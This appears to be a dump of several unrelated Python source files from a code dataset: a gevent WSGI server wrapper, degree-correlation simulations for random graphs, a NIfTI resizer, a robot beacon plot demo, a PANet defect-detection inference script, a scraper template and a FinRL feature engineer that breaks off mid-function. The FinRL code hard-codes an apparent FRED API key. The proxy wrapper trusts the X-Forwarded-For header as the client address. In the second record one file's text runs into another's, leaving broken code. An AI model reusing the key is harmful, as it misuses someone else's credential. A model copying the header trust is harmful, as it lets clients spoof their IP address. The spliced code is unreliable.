debug=options.debug,\n )\n\n if 'tornado' in self.config:\n settings.update(self.config['tornado'])\n if len(extra_settings) != 0:\n settings.update(extra_settings)\n\n tornado.wsgi.WSGIApplication.__init__(self, handlers, **settings)\n\n self.startup()\n\n def startup(self):\n \"\"\"预先初始化某些工作,数据库链接放这里\"\"\"\n pass\n\n\nclass Proxyfix(object):\n \"\"\"Add proxy support to tornado WSGIApplication\"\"\"\n\n def __init__(self, application):\n self.app = application\n\n def __call__(self, environ, start_response):\n getter = environ.get\n remote_addr = getter('HTTP_X_FORWARDED_FOR', '').split(',')[0].strip()\n # remote_addr = getter('HTTP_X_REAL_IP', remote_addr)\n if remote_addr is not None:\n environ['REMOTE_ADDR'] = remote_addr\n return self.app(environ, start_response)\n\n\ndef mainloop(app, proxy_fix=True):\n tornado.options.parse_command_line()\n if proxy_fix:\n app = Proxyfix(app)\n server = gevent.wsgi.WSGIServer((options.address, options.port), app, log=None)\n\n gevent.signal(signal.SIGTERM, server.close)\n gevent.signal(signal.SIGINT, server.close)\n server.serve_forever()\n","sub_path":"wsgiserver.py","file_name":"wsgiserver.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"21215018","text":"import sys\nsys.stdin=open('input.txt')\n\ndef go(start):\n while start 2, beta > 2 * d, beta > d + 1 for finite variance\n :return: qualified models\n \"\"\"\n\n f = open('week3_5.txt', 'w+')\n\n a_range = np.arange(0.5, 5, 0.5) # 8 choices\n\n beta_range = np.arange(2.6, 6.0, 0.4) # 9 choices\n d_range = np.arange(0.6, 2.5, 0.4) # 6 choices\n\n n = 2000\n\n models = {}\n s = 'ALl the graph\\'s size is ' + repr(n) + '.\\n'\n\n rank_corr = []\n degree_corr = []\n degree_dist_corr = []\n mean_in_degree = []\n i = 0\n for a in a_range:\n for beta in beta_range:\n for d in d_range:\n if not (beta > 2 * d and beta > d + 1):\n continue\n\n model = dcm_g.DCMGenerator(a, d, beta, n, 'Erased')\n if model.mean_in_degree < 2:\n continue\n\n print(i)\n s += \"Model\" + repr(i) + \":\\n\"\n\n s += '\\n'\n\n s += \"The params are:\\n\"\n for para in model.fg.params.items():\n s += para[0] + ' = ' + \"%0.5f\" % para[1] + '\\n'\n s += '\\n'\n\n s += \"Expectation of W^minus is \" + repr(model.fg.e_w_minus) + '\\n'\n s += \"Expectation of W^plus is \" + repr(model.fg.e_w_plus) + '\\n'\n s += '\\n'\n\n s += \"Mean of in-degree sequence is \" + repr(model.mean_in_degree) + '\\n'\n s += \"Mean of out-degree sequence is \" + repr(model.mean_out_degree) + '\\n'\n s += '\\n'\n mean_in_degree.append(model.mean_in_degree)\n\n s += \"Spearsman's rank correlation test:\\n\"\n corr, pvalue = model.spearman_test()\n rank_corr.append(corr)\n s += \"correlation = \" + repr(corr) + \", pvalue = \" + repr(pvalue) + \"\\n\"\n s += '\\n'\n\n s += \"Correlation between in-degree sequence and out-degree sequence is: \\n\"\n corr, pvalue = model.corr_in_and_out()\n degree_corr.append(corr)\n s += \"corr = \" + repr(corr) + \", pvalue = \" + repr(pvalue) + \"\\n\"\n\n s += \"Correlation between distribution of in-degree sequence and out-degree sequence is: \\n\"\n corr, pvalue = model.corr_dist_in_and_out()\n degree_dist_corr.append(corr)\n s += \"corr = \" + repr(corr) + \", pvalue = \" + repr(pvalue) + \"\\n\"\n\n models[i] = model\n\n s += '\\n'\n i += 1\n\n corr = st.pearsonr(rank_corr, degree_corr)\n s += \"Correlation between rank_corr and degree_corr is:\\n\"\n s += repr(corr) + '\\n'\n\n corr = st.pearsonr(rank_corr, degree_dist_corr)\n s += \"Correlation between rank_corr and degree_dist_corr is:\\n\"\n s += repr(corr) + '\\n'\n\n f.write(s)\n f.close()\n\n return models, rank_corr, degree_corr, degree_dist_corr, mean_in_degree\n\n\n# models, rank_corr, degree_corr = test2()\n\ndef test3():\n \"\"\"\n Using Monte-carlo to test the result of certain parameters\n :return: mean, s.d.\n \"\"\"\n m = 100 # simulation times\n a=1\n d=1\n beta = 3\n n = 1000 # graph size\n models = {}\n mean_in_degree = np.zeros(m)\n mean_out_degree = np.zeros(m)\n rank_corr = np.zeros(m)\n degree_corr = np.zeros(m)\n degree_dist_corr = np.zeros(m)\n for i in range(0, m):\n print(\"Simultation \" + repr(i))\n\n model = dcm_g.DCMGenerator(a, d, beta, n, 'Erased')\n mean_in_degree[i] = model.mean_in_degree\n mean_out_degree[i] = model.mean_out_degree\n corr, p = model.spearman_test()\n rank_corr[i] = corr\n\n corr, p = model.corr_in_and_out()\n degree_corr[i] = corr\n\n corr, p = model.corr_dist_in_and_out()\n degree_dist_corr[i] = corr\n\n models[i] = model\n\n return models, mean_in_degree, mean_out_degree, rank_corr, degree_corr, degree_dist_corr\n\n\ndef sort2seq(seq1, seq2):\n \"\"\"\n Plot 2 sequences in increasing order of seq1\n :param seq1: \n :param seq2: \n :return: sorted seq1, seq2, out-place sort\n \"\"\"\n\n xy = zip(seq1, seq2)\n xy_sort = sorted(xy)\n xx = [a[0] for a in xy_sort]\n yy = [a[1] for a in xy_sort]\n plt.plot(xx)\n plt.plot(yy)\n return xx, yy\n\n\ndef plot_tail_dist(d, name):\n \"\"\"\n Plot the tail distribution of data\n 1-F(x), where F(x) is the empirical distribution of data\n :param d: self.page_rank or self.betweenness_centrality, type: dictionary\n :param name: name of d \n :return: void\n \"\"\"\n\n data = list(d.values())\n cdf = ECDF(data)\n size = len(data)\n\n plt.plot(cdf.x[:size - 1], [log(yy) for yy in (1 - cdf.y)[:size - 1]], label=name, marker='<', markerfacecolor='none',\n markersize=1)\n\n\ndef plot_bc_pr_dist(model):\n \"\"\"\n Plot the tail distribution of page rank and betweenness centrality\n :return: Void\n \"\"\"\n #plt.figure()\n plot_tail_dist(model.betweenness_centrality, 'betweenness centrality')\n plot_tail_dist(model.page_rank, 'page rank')\n plt.legend()\n\n txt = ''\n for para in model.fg.params.items():\n txt += para[0] + ' = ' + \"%0.2f\" % para[1] + ' '\n\n plt.title(txt)\n plt.title('Log Tail distribution\\n' + txt)\n\n #plt.show()\n\n\ndef plot_dist_in_and_out(model):\n corr, p_value = model.corr_dist_in_and_out()\n\n #plt.figure()\n\n model.plot_helper(model.graph_din, 'red', 'o', 5)\n model.plot_helper(model.graph_dout, 'cyan', 'v', 5)\n\n plt.legend(['In-degree sequence', 'Out-degree sequence'])\n plt.xlabel('Degree')\n plt.ylabel('Number of nodes')\n plt.xlim([0, 40])\n\n txt = ''\n for para in model.fg.params.items():\n txt += para[0] + ' = ' + \"%0.2f\" % para[1] + ' '\n\n plt.title(\"Correlation: \" + repr(corr) + \" p-value: \" + repr(p_value) + '\\n' + txt)\n\n\ndef plot_in_and_out(model):\n corr, p_value = model.corr_in_and_out()\n\n plt.figure(1)\n sort2seq(model.graph_din, model.graph_dout)\n\n plt.legend(['in-degree sequence', 'out-degree sequence'])\n plt.xlabel('node')\n plt.ylabel('degree')\n\n txt = ''\n for para in model.fg.params.items():\n txt += para[0] + ' = ' + \"%0.2f\" % para[1] + ' '\n\n plt.title(\"Correlation: \" + repr(corr) + \" p-value: \" + repr(p_value) + '\\n' + txt)\n\n plt.figure(2)\n sort2seq(model.graph_dout, model.graph_din)\n\n plt.legend(['out-degree sequence', 'in-degree sequence'])\n plt.xlabel('node')\n plt.ylabel('degree')\n\n txt = ''\n for para in model.fg.params.items():\n txt += para[0] + ' = ' + \"%0.2f\" % para[1] + ' '\n\n plt.title(\"Correlation: \" + repr(corr) + \" p-value: \" + repr(p_value) + '\\n' + txt)","sub_path":"week_3/test_week_3.py","file_name":"test_week_3.py","file_ext":"py","file_size_in_byte":7489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"242860958","text":"import numpy as np\nimport nibabel as nib\nimport os\nimport glob\nfrom skimage import transform\nfrom argparse import ArgumentParser\n\n\ndef volresize(image_dir,save_dir):\n images = glob.glob(os.path.join(image_dir, '*.nii'))\n for image in images:\n img = nib.load(image).get_data()\n img = transform.resize(img, (160,192,224))\n newvol = nib.Nifti1Image(img,affine = None)\n save_file = os.path.join(save_dir, (image.split('/')[-1].split('.')[0] + '_r' + '.nii'))\n nib.save(newvol, save_file)\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n \n parser.add_argument(\"--image_dir\", type=str,\n help=\"image\")\n\n parser.add_argument(\"--save_dir\", type=str,\n dest=\"save_dir\", default='/media/sdg/zzx/data',\n help=\"data folder\")\n\n args = parser.parse_args()\n volresize(**vars(args))\n","sub_path":"dataprocess/3dimage_resize.py","file_name":"3dimage_resize.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"450460155","text":"# Michael P. Hayes UCECE, Copyright 2018--2019\nimport numpy as np\nfrom ipywidgets import interact, interactive, fixed\nfrom matplotlib.pyplot import subplots\nfrom matplotlib.patches import Arc\nfrom .lib.utils import wraptopi\n\nclass Beacon(object):\n\n def __init__(self, x, y, theta, num=0):\n self.x = x\n self.y = y\n self.theta = theta\n self.num = num\n\n def plot(self, axes, marker='o', colour='blue', label=None, size=1,\n name=None):\n\n x, y, theta = self.x, self.y, self.theta\n\n xdx = size * np.cos(theta)\n xdy = size * np.sin(theta)\n ydx = size * np.cos(theta + np.pi/2)\n ydy = size * np.sin(theta + np.pi/2)\n \n axes.plot(x, y, marker, color=colour, label=label, markersize=10)\n \n axes.plot((x, x + xdx), (y, y + xdy), color='red', linewidth=3) \n axes.plot((x, x + ydx), (y, y + ydy), color='green', linewidth=3)\n if name is not None:\n axes.text(x + 0.5, y - 0.5, name)\n\n\ndef mvpf_demo1_plot(beacon_x=15, beacon_y=8, beacon_theta=-75,\n robot_x=3, robot_y=1, robot_theta=15):\n \n\n robot = Beacon(robot_x, robot_y, np.radians(robot_theta), 1) \n beacon = Beacon(beacon_x, beacon_y, np.radians(beacon_theta), 1)\n\n fig, ax = subplots(1, figsize=(10, 5))\n ax.grid(True)\n ax.axis('scaled')\n ax.set_xlim(-0.05, 20)\n ax.set_ylim(-0.05, 10)\n ax.set_xticks((0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20))\n\n robot.plot(ax, marker='p', colour='black', size=5, name='robot') \n beacon.plot(ax, name='beacon') \n\n r = np.sqrt((robot.x - beacon.x)**2 + (robot.y - beacon.y)**2)\n phi = np.arctan2((beacon.y - robot.y), (beacon.x - robot.x))\n\n phid = wraptopi(phi - robot.theta)\n\n ax.plot([robot.x, beacon.x], [robot.y, beacon.y], '--k')\n \n arc = Arc((robot.x, robot.y), 5, 5,\n theta1=np.degrees(robot.theta),\n theta2=np.degrees(phi))\n ax.add_patch(arc)\n\n ax.plot((0, 20), (0, 0), color='red', linewidth=3) \n ax.plot((0, 0), (0, 10), color='green', linewidth=3) \n \n ax.set_title('r=%.1f, phi=%.1f' % (r, np.degrees(phid)))\n \n\ndef mvpf_demo1():\n interact(mvpf_demo1_plot,\n robot_x=(0, 20, 1), robot_y=(0, 10, 1), robot_theta=(-180, 180, 15),\n beacon_x=(0, 20, 1), beacon_y=(0, 10, 1), beacon_theta=(-180, 180, 15), \n continuous_update=False)\n","sub_path":"sensor-fusion/demos/mvpf_demo1.py","file_name":"mvpf_demo1.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"126333691","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport distutils.util\nimport os\nfrom collections import defaultdict\nfrom six.moves import xrange\nimport numpy as np\nimport cv2\nimport codecs\nimport json\nimport torch\nimport copy\nimport _init_paths\nimport nn as mynn\nfrom core.config import cfg, cfg_from_file, cfg_from_list, assert_and_infer_cfg\nfrom core.test import im_detect_all\nfrom modeling.model_builder import Generalized_RCNN\nimport utils.misc as misc_utils\nimport utils.vis as vis_utils\nfrom utils.timer import Timer\n# OpenCL may be enabled by default in OpenCV3; disable it because it's not\n# thread safe and causes unwanted GPU memory allocations.\ncv2.ocl.setUseOpenCL(False)\n\n\n# chi_defect_code = {\n# '破洞': 1, '水渍': 2, '油渍': 2, '污渍': 2, '三丝': 3, '结头': 4, '花板跳': 5, '百脚': 6, '毛粒': 7,\n# '粗经': 8, '松经': 9, '断经': 10, '吊经': 11, '粗维': 12, '纬缩': 13, '浆斑': 14, '整经结': 15, '星跳': 16, '跳花': 16,\n# '断氨纶': 17, '稀密档': 18, '浪纹档': 18, '色差档': 18, '磨痕': 19, '轧痕': 19, '修痕': 19, '烧毛痕': 19, '死皱': 20, '云织': 20,\n# '双纬': 20, '双经': 20, '跳纱': 20, '筘路': 20, '纬纱不良': 20,\n# }\n\n\ndef parse_args():\n \"\"\"Parse in command line arguments\"\"\"\n parser = argparse.ArgumentParser(description='Demonstrate mask-rcnn results')\n parser.add_argument(\n '--dataset',\n default=\"coco2017\",\n help='training dataset')\n # need to change\n parser.add_argument(\n '--cfg', dest='cfg_file',\n default=\"\",\n help='optional config file')\n parser.add_argument(\n '--output_dir',\n help='directory to save demo results',\n default=\"\")\n parser.add_argument(\n '--load_ckpt',\n default=\"\",\n help='path of checkpoint to load')\n parser.add_argument(\n '--lun',\n default=\"B\",\n help='select A or B test set')\n parser.add_argument(\n '--set', dest='set_cfgs',\n help='set config keys, will overwrite config in the cfg_file',\n default=[], nargs='+')\n parser.add_argument(\n '--no_cuda', dest='cuda', help='whether use CUDA', action='store_false')\n parser.add_argument(\n '--load_detectron', help='path to the detectron weight pickle file')\n parser.add_argument(\n '--images', nargs='+',\n help='images to infer. Must not use with')\n parser.add_argument(\n '--merge_pdfs', type=distutils.util.strtobool, default=True)\n args = parser.parse_args()\n\n return args\n\n\ndef obtain_one_img_dict(path_img, im, boxes, classes, is_bef=False):\n # one_img = {}\n # one_img[\"name\"] = os.path.basename(path_img)\n # one_img[\"rects\"] = []\n one_img = []\n im_name = os.path.basename(path_img)\n if len(classes) != 0:\n\n for boxe, classe in zip(boxes, classes):\n im_defect_item = {}\n category = classe\n bbox = boxe[:4]\n score = boxe[-1]\n xmin, ymin, xmax, ymax = bbox\n xmin, ymin, xmax, ymax = float(xmin), float(ymin), float(xmax), float(ymax)\n im_defect_item['name'] = im_name\n im_defect_item['category'] = category\n im_defect_item['bbox'] = [xmin, ymin, xmax, ymax]\n im_defect_item['score'] = float(score)\n\n one_img.append(copy.deepcopy(im_defect_item))\n # if not is_bef:\n # if score > 0.5:\n # print(os.path.basename(path_img), bbox, score, classes)\n # im = cv2.rectangle(im, (xmin, ymin), (xmax, ymax), (0, 0, 255), 3)\n # im = cv2.putText(im, \"{}\".format(classe - 1),\n # (xmin, ymin), cv2.FONT_HERSHEY_COMPLEX, 2, (0, 0, 255), 2)\n else:\n print(\"no detection: {}\".format(os.path.basename(path_img)))\n\n return one_img\n\n\ndef split_into_parts(path_img_list, num_parts, save_root):\n # for idx in range(num_parts):\n # if os.path.exists(os.path.join(save_root, str(idx + 1) + '.txt')):\n # return\n\n each_num = int(len(path_img_list) // num_parts)\n for idx in range(num_parts):\n start = idx * each_num\n if idx == num_parts - 1:\n end = len(path_img_list)\n else:\n end = (idx + 1) * each_num\n\n need_save_paths = [path_img_list[i] for i in range(start, end, 1)]\n with open(os.path.join(save_root, str(idx + 1) + '.txt'), 'w') as f_txt:\n for one_line in need_save_paths:\n f_txt.write(one_line + '\\n')\n\n print('split all path images into {} parts'.format(num_parts))\n\n\ndef obtain_path_img_list(path_txt):\n with open(path_txt) as f_txt:\n contents = f_txt.readlines()\n contents = [each.strip('\\n') for each in contents]\n os.remove(path_txt)\n\n return contents\n\n\ndef merge_all_val_json(save_root, num_parts, save_name):\n flag = True\n for idx in range(num_parts):\n path_json = os.path.join(save_root, \"val_\" + str(idx + 1) + '.json')\n if os.path.exists(path_json):\n continue\n flag = False\n if not flag:\n print('merge_all_val_json failed, some json not exists')\n return\n\n # end_results = {}\n # end_results[\"results\"] = []\n end_results = []\n\n for idx in range(num_parts):\n path_json = os.path.join(save_root, \"val_\" + str(idx + 1) + '.json')\n with codecs.open(path_json, encoding='utf-8') as f_json:\n contents = json.load(f_json)\n results = contents\n end_results.extend(results)\n os.remove(path_json)\n\n json.dump(end_results, open(os.path.join(save_root, save_name), \"wt\"))\n print('write val.json over')\n\n\ndef main():\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n num_parts = 1\n deal_with_part = 1 # start with 1\n\n # parameters setting\n args = parse_args()\n # if args.lun == 'A':\n # path_test_root = '/xinchao/guangdong1_round1_testA_20190818'\n # else:\n # path_test_root = '/xinchao/guangdong1_round2_testA_20190818'\n\n path_test_root = '/xinchao/guangdong1_round1_testA_20190818'\n\n # args.cfg_file = 'panet_X-152-32x8d-FPN.yaml'\n # args.cfg_file = 'configs/panet/e2e_panet_R-50-FPN_2x_mask.yaml'\n args.output_dir = '/xinchao/Results/'\n\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n\n cfg.MODEL.NUM_CLASSES = 21\n print('***********************PANet: start to inference on test set ***********************')\n print('load cfg from file: {}'.format(args.cfg_file))\n cfg_from_file(args.cfg_file)\n if args.set_cfgs is not None:\n cfg_from_list(args.set_cfgs)\n assert_and_infer_cfg()\n\n # build model\n maskRCNN = Generalized_RCNN()\n maskRCNN.cuda()\n\n # swa\n print(\"loading checkpoint %s\")\n l = [\n '/xinchao/Outputs/panet_X-152-32x8d-FPN/Sep10-07-02-16_c3b0aed446ea_step/ckpt/model_step99999.pth',\n '/xinchao/Outputs/panet_X-152-32x8d-FPN/Sep10-07-02-16_c3b0aed446ea_step/ckpt/model_step119999.pth',\n '/xinchao/Outputs/panet_X-152-32x8d-FPN/Sep10-07-02-16_c3b0aed446ea_step/ckpt/model_step139999.pth',\n ]\n p = torch.load(l[0])['model']\n l_p = list(map(lambda x: torch.load(x), l))\n l_p = [each['model'] for each in l_p]\n for key in p.keys():\n for pp in l_p[1:]:\n p[key] += pp[key]\n p[key] /= len(l)\n maskRCNN.load_state_dict(p, strict=True)\n maskRCNN = mynn.DataParallel(maskRCNN, cpu_keywords=['im_info', 'roidb'],\n minibatch=True, device_ids=[0])\n maskRCNN.eval()\n\n imglist = misc_utils.get_imagelist_from_dir(path_test_root)\n imglist = sorted(imglist)\n # split all images into many parts to speed up inference\n split_into_parts(imglist, num_parts, args.output_dir)\n imglist = obtain_path_img_list(os.path.join(args.output_dir, str(deal_with_part) + '.txt'))\n\n num_images = len(imglist)\n results = []\n # results[\"results\"] = []\n for i in xrange(num_images):\n print('{} / {}, {}'.format(i + 1, num_images, imglist[i]))\n path_img = imglist[i]\n im = cv2.imread(path_img)\n timers = defaultdict(Timer)\n aft_cls_boxes, _, _,bef_nms_boxes, bef_nms_scores = im_detect_all(maskRCNN, im, timers=timers)\n print(bef_nms_boxes, bef_nms_scores)\n aft_boxes, _, _, aft_classes = vis_utils.convert_from_cls_format(aft_cls_boxes, None, None)\n one_img_aft = obtain_one_img_dict(path_img, im, aft_boxes, aft_classes, is_bef=False)\n results.extend(one_img_aft)\n # with open(os.path.join(args.output_dir, \"val_\" + str(deal_with_part) + '.json'), \"wt\") as fp:\n # json.dump(results, fp, indent=4, separators=(',', ': '))\n # print(results)\n json.dump(results, open(os.path.join(args.output_dir, \"val_\" + str(deal_with_part) + '.json'), \"wt\"), indent=4, separators=(',', ': '))\n\n # merge all json files\n if deal_with_part == num_parts:\n # if args.lun == 'A':\n # save_name = '1_Aresults_Panet.json'\n # else:\n # save_name = '1_Bresults_Panet.json'\n save_name = '1_Aresults_Panet.json'\n merge_all_val_json(args.output_dir, num_parts, save_name)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tools/panet_inference.py","file_name":"panet_inference.py","file_ext":"py","file_size_in_byte":9307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"223614942","text":"#!/usr/bin/env python\n\n\"\"\"\nParse an HTML table with links. Output CSV to standard output\n\nExample:\n python ./scrapers/parse_candidate_profiles_table.py data/src/profiles_main.html \\\n > data/results.csv\n\n\"\"\"\n\nimport csv\nimport sys\n\nfrom bs4 import BeautifulSoup\n\ndef get_result_office(soup):\n \"\"\"\n Returns office for results table.\n\n Args:\n soup: BeautifulSoup object representing results page HTML.\n\n \"\"\"\n return soup.find('h2').text\n\ndef get_result_field_names(table):\n \"\"\"\n Returns list of columns in the results table.\n\n Args:\n table: Beautiful Soup `Tag` object representing the results table.\n\n \"\"\"\n field_names = []\n for th in table.find('thead').find_all('th'):\n field_names.append(th.string)\n\n return field_names\n # You could also use a list comprehension, e.g.\n #return [th.string for th in table.find('thead').find_all('th')]\n\n\ndef parse_results(table):\n \"\"\"\n Returns list of results scraped from table.\n\n Each list item is a list representing a candidate result.\n The list should have these items in the following order:\n\n - Candidate name\n - Party\n - Votes\n - URL to candidate profile\n\n Args:\n table: Beautiful Soup `Tag` object representing an HTML table of\n results.\n\n \"\"\"\n results = []\n\n # FILL IN THE BLANK: Read each row from the table and append it to\n # `results` as a list. Be sure to also get the `href` value of the link\n # to the profile and include as the last element of each result list.\n\n return results\n\n\nif __name__ == '__main__':\n # The first positional argument is the path to the file containing the\n # results HTML.\n results_html_path = sys.argv[1]\n\n with open(results_html_path) as f:\n soup = BeautifulSoup(f, 'html.parser')\n\n # Find the office name and table on the page\n office = get_result_office(soup)\n results_table = soup.find('table')\n\n # Get the field names for our results from the table header.\n # This should be familiar from the previous scrapers that we wrote.\n columns = [\"Office\"] + get_result_field_names(results_table) + ['Link']\n\n writer = csv.writer(sys.stdout)\n writer.writerow(columns)\n\n for result in parse_results(results_table):\n # We have to add the office to each row since it's not in the table\n # itself.\n writer.writerow([office] + result)\n","sub_path":"scrapers/parse_candidate_profiles_table.py","file_name":"parse_candidate_profiles_table.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"622018827","text":"import numpy as np\nimport pandas as pd\nfrom stockstats import StockDataFrame as Sdf\nfrom finrl.config import config\nfrom fredapi import Fred\nimport pandas_market_calendars as mcal\n\n\nclass FeatureEngineer:\n \"\"\"Provides methods for preprocessing the stock price data\n\n Attributes\n ----------\n use_technical_indicator : boolean\n we technical indicator or not\n tech_indicator_list : list\n a list of technical indicator names (modified from config.py)\n use_turbulence : boolean\n use turbulence index or not\n user_defined_feature:boolean\n user user defined features or not\n\n Methods\n -------\n preprocess_data()\n main method to do the feature engineering\n\n \"\"\"\n\n def __init__(\n self,\n use_technical_indicator=True,\n tech_indicator_list=config.TECHNICAL_INDICATORS_LIST,\n use_turbulence=False,\n user_defined_feature=False,\n ):\n self.use_technical_indicator = use_technical_indicator\n self.tech_indicator_list = tech_indicator_list\n self.use_turbulence = use_turbulence\n self.user_defined_feature = user_defined_feature\n\n def preprocess_data(self, df):\n \"\"\"main method to do the feature engineering\n @:param config: source dataframe\n @:return: a DataMatrices object\n \"\"\"\n\n if self.use_technical_indicator == True:\n # add technical indicators using stockstats\n df = self.add_technical_indicator(df)\n print(\"Successfully added technical indicators\")\n\n # add turbulence index for multiple stock\n if self.use_turbulence == True:\n df = self.add_turbulence(df)\n print(\"Successfully added turbulence index\")\n\n # add user defined feature\n if self.user_defined_feature == True:\n df = self.add_user_defined_feature(df)\n print(\"Successfully added user defined features\")\n# df = df.shift(1)\n df = self.standardize_dates(df)\n # fill the missing values at the beginning and the end\n df.replace([np.inf, -np.inf], np.nan)\n df = df.fillna(method=\"bfill\").fillna(method=\"ffill\")\n df.drop_duplicates(inplace=True)\n # list_ticker = df[\"tic\"].unique().tolist()\n # list_date = list(pd.date_range(df['date'].min(), df['date'].max()).astype(str))\n # combination = list(df.product(list_date, list_ticker))\n #\n # processed_full = pd.DataFrame(combination, columns=[\"date\", \"tic\"]).merge(df, on=[\"date\", \"tic\"],\n # how=\"left\")\n # processed_full = processed_full[processed_full['date'].isin(df['date'])]\n # processed_full = processed_full.sort_values(['date', 'tic'])\n #\n # processed_full = processed_full.fillna(0)\n\n print(\"Shape of DataFrame (w/indicators): \", df.shape)\n return df\n\n def add_technical_indicator(self, data):\n \"\"\"\n calcualte technical indicators\n use stockstats package to add technical inidactors\n :param data: (df) pandas dataframe\n :return: (df) pandas dataframe\n \"\"\"\n df = data.copy()\n stock = Sdf.retype(df.copy())\n unique_ticker = stock.tic.unique()\n for indicator in self.tech_indicator_list:\n indicator_df = pd.DataFrame()\n for i in range(len(unique_ticker)):\n try:\n temp_indicator = stock[stock.tic == unique_ticker[i]][indicator]\n temp_indicator = pd.DataFrame(temp_indicator)\n indicator_df = indicator_df.append(\n temp_indicator, ignore_index=True\n )\n except Exception as e:\n print(e)\n df[indicator] = indicator_df\n return df\n\n def add_user_defined_feature(self, data):\n \"\"\"\n add user defined features\n :param data: (df) pandas dataframe\n :return: (df) pandas dataframe\n \"\"\"\n df = data.copy()\n unique_ticker = df.tic.unique()\n daily_return_df = pd.DataFrame()\n for i in range(len(unique_ticker)):\n try:\n temp_indicator = df[df.tic == unique_ticker[i]].close.pct_change(1)\n temp_indicator = pd.DataFrame(temp_indicator)\n daily_return_df = daily_return_df.append(\n temp_indicator, ignore_index=True\n )\n except Exception as e:\n print(e)\n\n df[\"daily_return\"] = daily_return_df.values\n\n df['log_volume'] = np.log(df.volume * df.close)\n df['change'] = np.divide(np.subtract(df.close.values, df.open.values), df.close.values)\n df['daily_variance'] = np.divide(np.subtract(df.high.values, df.low.values), df.close.values)\n df['close_boll_ub'] = np.subtract(df.boll_ub.values, df.close.values)\n df['close_boll_lb'] = np.subtract(df.boll_lb.values, df.close.values)\n df['close_30_sma_close_60_sma'] = np.subtract(df.close_30_sma.values, df.close_60_sma.values)\n df['close_20_sma_close_50_sma'] = np.subtract(df.close_20_sma.values, df.close_50_sma.values)\n df['close_50_sma_close_200_sma'] = np.subtract(df.close_50_sma.values, df.close_200_sma.values)\n\n daily_changelag_df = pd.DataFrame()\n for i in range(len(unique_ticker)):\n try:\n temp_indicator = df[df.tic == unique_ticker[i]].change.shift(1)\n temp_indicator = pd.DataFrame(temp_indicator)\n daily_changelag_df = daily_changelag_df.append(\n temp_indicator, ignore_index=True\n )\n except Exception as e:\n print(e)\n\n fred = Fred(api_key='a2ca2601550a3ac2a1af260112595a8d')\n temp = df['date'].to_frame()\n for series in ['EFFR',\n# 'UNRATE',\n# 'DEXUSEU',\n# 'TEDRATE',\n# 'DTWEXBGS',\n# 'VIXCLS',\n# 'DEXCHUS',\n# 'USRECD',\n# 'DTWEXEMEGS',\n# 'VXEEMCLS',\n# 'A191RL1Q225SBEA',\n# 'GFDEGDQ188S',\n# 'DPCERL1Q225SBEA'\n ]:\n\n data = fred.get_series(series)\n data = data.to_frame()\n data = data.reset_index()\n data.columns = [\n \"date\",\n series\n ]\n data[\"date\"] = data.date.apply(lambda x: x.strftime(\"%Y-%m-%d\"))\n temp_2 = pd.merge(temp, data, how='left', left_on='date', right_on='date')\n temp.fillna(method=\"ffill\")\n df = pd.merge(df, data, how='left', left_on='date', right_on='date')\n\n return df\n\n def add_turbulence(self, data):\n \"\"\"\n add turbulence index from a precalcualted dataframe\n :param data: (df) pandas dataframe\n :return: (df) pandas dataframe\n \"\"\"\n df = data.copy()\n turbulence_index = self.calculate_turbulence(df)\n df = df.merge(turbulence_index, on=\"date\")\n df = df.sort_values([\"date\", \"tic\"]).reset_index(drop=True)\n return df\n\n def calculate_turbulence(self, data):\n \"\"\"calculate turbulence index based on dow 30\"\"\"\n # can add other market assets\n df = data.copy()\n df_price_pivot = df.pivot(index=\"date\", columns=\"tic\", values=\"close\")\n # use returns to calculate turbulence\n df_price_pivot = df_price_pivot.pct_change()\n\n unique_date = df.date.unique()\n # start after a year\n start = 252\n turbulence_index = [0] * start\n # turbulence_index = [0]\n count = 0\n for i in range(start, len(unique_date)):\n current_price = df_price_pivot[df_price_pivot.index == unique_date[i]]\n # use one year rolling window to calcualte covariance\n hist_price = df_price_pivot[\n (df_price_pivot.index < unique_date[i])\n & (df_price_pivot.index >= unique_date[i - 252])\n ]\n # Drop tickers which has number missing values more than the \"oldest\" ticker\n filtered_hist_price = hist_price.iloc[hist_price.isna().sum().min():].dropna(axis=1)\n\n cov_temp = filtered_hist_price.cov()\n current_temp = current_price[[x for x in filtered_hist_price]] - np.mean(filtered_hist_price, axis=0)\n temp = current_temp.values.dot(np.linalg.pinv(cov_temp)).dot(\n current_temp.values.T\n )\n if temp > 0:\n count += 1\n if count > 2:\n turbulence_temp = temp[0][0]\n else:\n # avoid large outlier because of the calculation just begins\n turbulence_temp = 0\n else:\n turbulence_temp = 0\n turbulence_index.append(turbulence_temp)\n\n turbulence_index = pd.DataFrame(\n {\"date\": df_price_pivot.index, \"turbulence\": turbulence_index}\n )\n return turbulence_index\n\n def standardize_dates(self, data):\n date_df = pd.DataFrame({'date_y': pd.bdate_range(start=config.START_DATE,\n end=config.END_DATE,\n freq='B').to_list()})\n holidays = list(mcal.get_calendar('NYSE').holidays().holidays)\n # print(holidays)\n date_df = date_df[~date_df['date_y'].isin(holidays)]\n date_df['date_y'] = pd.to_datetime(date_df['date_y'])\n date_df['date_y'] = date_df.date_y.apply(lambda x: x.strftime(\"%Y-%m-%d\"))\n # print(date_df)\n\n df = data.copy()\n unique_ticker = df.tic.unique()\n final_df = pd.DataFrame()\n # print(df)\n for i in range(len(unique_ticker)):\n try:\n temp_ticker = df[df.tic == unique_ticker[i]]\n temp_ticker = pd.DataFrame(temp_ticker)\n # print(type(date_df.date_y[0]))\n temp_date_df = pd.merge(date_df, temp_ticker, how='left', left_on='date_y', right_on='date')\n # 